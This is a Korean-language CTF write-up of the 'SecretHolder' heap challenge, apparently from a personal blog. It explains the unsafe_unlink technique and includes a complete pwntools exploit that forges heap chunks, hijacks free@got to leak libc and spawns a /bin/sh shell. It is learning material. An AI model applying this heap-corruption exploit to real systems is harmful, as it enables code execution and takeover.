# file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
[*] '/ctf/SecretHolder'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
해당 바이너리의 기능에 대해 간략히 설명하자면,
keep_secret() 함수에서는 40byte(Small_secret), 4000byte(Big_secret), 400000byte(Huge_secret) 크기의 공간을 선택해서 할당할 수 있다. 그리고 할당된 secret 에 대해서 전역변수를 통해 설정한다. (1 - 할당, 0 - 해체)
wipe_secret() 함수에서는 전역변수 포인터를 인자로 사용해 할당된 공간을 해체한다. 그리고 전역변수의 할당여부에 0 을 셋팅한다.
renew_secret() 함수에서는 할당된 secret 에 한해서 chunk 를 수정할 수 있다.
이 문제의 취약점은, 전역 포인터가 각각의 영역을 가리키고 있고, free() 함수 조작을 통해 heap overflow 를 유도할 수 있다.
이 때 사용하는 기법이 unsafe_unlink 라는 기법이다.
가장 먼저 우리는 heap에 overflow를 발생시키고, fake chunk 를 만들기 위해 huge_secret 을 사용해야 한다.
처음에 디버깅을 해보면 알겠지만 huge_secret 를 할당하면 size 가 너무 커서 heap 영역에 할당되지 않는다. 이러한 이유에 대해서는 모르겟지만 huge_secret 을 할당하고 free 한 후 다시 할당하면 heap 에 할당하게 된다.
keep(1, "A"*8)
keep(2, "B"*8)
keep(3, "C"*8)
wipe(1)
wipe(2)
wipe(3)
keep(3, "A"*8)
wipe(1)
keep(1, "B"*8)
keep(2, "C"*8)
위의 코드를 통해 Huge_secret 을 힙에 할당하고, Huge_secret, Small_secret 이 두 chunk 가 같은 pointer 를 가리킨다.
그리고 Small_secret 다음 chunk 로 Big_secret 이 할당되어 진다.
결과적으로, renew() 함수를 통해 Huge_secret 에 payload 를 넣어 Small_secret, Big_secret 공간에 overflow가 가능하다.
# if ((__builtin_expect (FD->bk != P || BK->fd != P), 0))
# malloc_printerr(check_actiion, "corrupted double-linked list", P, AV);
#else {
# FD->bk = BK;
# BK->fd = FD;
# we have to make a fake_chunk for check(FD->bk != P, BK->fd != P) bypass
chunk_fake_fd = 0x6020a8 - 0x18
chunk_fake_bk = 0x6020a8 - 0x10
# overwrite Big_secret chunk data
payload = p64(0x0
payload += p64(0x21)
payload += p64(chunk_fake_fd)
payload += p64(chunk_fake_bk)
# we are going to free here
payload += p64(0x20)
payload += p64(0x90)
payload += "B"*0x80
# fake next chunk
payload += p64(0x90)
payload += p64(0x91)
payload += "C"*0x80
# fake next_next chunk
payload += p64(0x90)
payload += p64(0x91)
renew(3, payload)
wipe(2) # free(big), trigger unsafe_unlink
fake chunk 를 만들고, Big_secret 를 free() 하여 unsafe_unlink 를 발생시킨다.
이로 인해 Huge_secret 영역을 가리키던 pointer가 조작되고, 이로 인해 .bss 영역에 Huge, Small, Big 의 pointer 를 조작할 수 있다.
즉, 우리는 .bss 영역에 위치한 pointer 들의 정교한 조작을 통해 leak을 통한 system@libc 알아낸 후, free@got <- system@libc 를 넣어 exploit 한다. 이 부분은 exploit code 참고.
# exploit.py
from pwn import *
elf = ELF('./SecretHolder')
p = remote('localhost', 7777)
print p.recvuntil('3. Renew secret\n')
def keep(num, data):
p.sendline('1')
print p.recvuntil('3. Huge secret\n')
p.send(str(num))
print p.recvuntil('Tell me your secret: \n')
p.sendline(data)
print p.recvuntil('3. Renew secret\n')
def wipe(num):
p.sendline('2')
print p.recvuntil('3. Huge secret\n')
p.send(str(num))
print p.recvuntil('3. Renew secret\n')
def renew(num, data):
p.sendline('3')
print p.recvuntil('3. Huge secret\n')
p.send(str(num))
print p.recvuntil('Tell me your secret: \n')
p.send(data)
print p.recvuntil('3. Renew secret\n')
def leak(num):
global system_libc
p.sendline('2')
print p.recvuntil('3. Huge secret\n')
p.send(str(num))
data = p.recv(1024)
leak = u64(data[16:22].ljust(8, '\x00')) - 88
log.info('main_arena leak = ' + hex(leak))
system_libc = leak - 0x37e7a0
log.info('system_libc = ' + hex(system_libc))
print p.recvuntil('3. Renew secret\n')
def exploit(num):
p.send('2')
print p.recvuntil('3. Huge secret\n')
p.send(str(num))
p.interactive()
if __name__=='__main__':
keep(1, "A"*8)
keep(2, "B"*8)
keep(3, "C"*8)
wipe(1)
wipe(2)
wipe(3)
keep(3, "A"*8)
wipe(1)
keep(1, "B"*8)
keep(2, "C"*8)
# if ((__builtin_expect (FD->bk != P || BK->fd != P), 0))
# malloc_printerr(check_actiion, "corrupted double-linked list", P, AV);
#else {
# FD->bk = BK;
# BK->fd = FD;
# we have to make a fake_chunk for check(FD->bk != P, BK->fd != P) bypass
chunk_fake_fd = 0x6020a8 - 0x18
chunk_fake_bk = 0x6020a8 - 0x10
# overwrite Big_secret chunk data
payload = p64(0x0)
payload += p64(0x21)
payload += p64(chunk_fake_fd)
payload += p64(chunk_fake_bk)
# we are going to free here
payload += p64(0x20)
payload += p64(0x90)
payload += "B"*0x80
# fake next chunk
payload += p64(0x90)
payload += p64(0x91)
payload += "C"*0x80
# fake next_next chunk
payload += p64(0x90)
payload += p64(0x91)
renew(3, payload)
wipe(2) # free(big), trigger unsafe_unlink
payload = p64(0x0) * 3
payload += p64(elf.got['free'])
renew(3, payload)
renew(3, p64(elf.plt['puts']))
# leak <main_arena+88> address and free@got <- system@libc
# system(command) <- command setting = "/bin/sh"
cmd = '/bin/sh;'
cmd += 'A'*8
renew(1, cmd)
leak(1)
payload = p64(system_libc)
renew(3, payload)
exploit(1)
'ctf' 카테고리의 다른 글
[pwnable.kr] echo1 (0) | 2017.03.13 |
---|---|
[pwnable.kr] unlink (0) | 2017.03.12 |
[CodeGate 2017 CTF] angrybird (0) | 2017.02.22 |
[CodeGate 2017 CTF] messenger (0) | 2017.02.22 |
[CodeGate 2017 CTF] babypwn (0) | 2017.02.22 |